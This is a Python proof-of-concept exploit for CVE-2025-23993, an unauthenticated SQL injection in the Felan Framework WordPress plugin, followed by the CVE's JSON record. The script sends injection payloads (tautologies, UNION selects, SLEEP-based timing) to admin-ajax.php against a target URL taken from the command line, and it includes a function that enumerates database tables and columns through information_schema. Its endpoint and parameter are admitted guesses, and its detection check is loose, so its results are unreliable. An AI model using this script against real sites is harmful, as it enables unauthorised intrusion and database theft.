CVE-2025-23993

# CVE-2025-23993 SQL Injection PoC # Target: Felan Framework Plugin <= 1.1.3 # Type: Unauthenticated SQL Injection import requests import sys def test_sql_injection(target_url): """Test for SQL injection vulnerability in Felan Framework""" # Vulnerable endpoint - adjust based on actual target vuln_endpoint = f"{target_url}/wp-admin/admin-ajax.php" # SQL injection payloads for testing payloads = [ "' OR '1'='1", "' UNION SELECT 1,2,3,4,5-- -", "' AND SLEEP(5)-- -", "' AND 1=1-- -", "' AND 1=2-- -" ] headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Content-Type': 'application/x-www-form-urlencoded' } print(f"[*] Testing {target_url} for CVE-2025-23993") for payload in payloads: # Test with common parameter names used by the plugin params = { 'action': 'felan_get_data', 'id': payload } try: print(f"[*] Testing payload: {payload}") response = requests.get(vuln_endpoint, params=params, headers=headers, timeout=10) if 'error' not in response.text.lower() or response.status_code != 200: print(f"[!] Potential vulnerability detected with payload: {payload}") print(f"[*] Response length: {len(response.text)}") return True except requests.exceptions.RequestException as e: print(f"[!] Request error: {e}") continue return False def extract_data(target_url): """Extract database information using SQL injection""" # Database enumeration payload db_enum_payload = "' UNION SELECT table_name,column_name,1,2,3 FROM information_schema.columns-- -" vuln_endpoint = f"{target_url}/wp-admin/admin-ajax.php" params = { 'action': 'felan_get_data', 'id': db_enum_payload } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } try: print("[*] Attempting database enumeration...") response = requests.get(vuln_endpoint, params=params, headers=headers, timeout=30) print(f"[*] Response received, length: {len(response.text)}") return response.text except Exception as e: print(f"[!] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-23993.py <target_url>") sys.exit(1) target = sys.argv[1] test_sql_injection(target)

{"cve": {"id": "CVE-2025-23993", "sourceIdentifier": "[email protected]", "published": "2026-01-08T10:15:48.650", "lastModified": "2026-04-27T17:16:25.563", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in RiceTheme Felan Framework felan-framework allows SQL Injection.This issue affects Felan Framework: from n/a through <= 1.1.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/felan-framework/vulnerability/wordpress-felan-framework-plugin-1-1-3-sql-injection-vulnerability?_s_id=cve", "source": "[email protected]"}]}}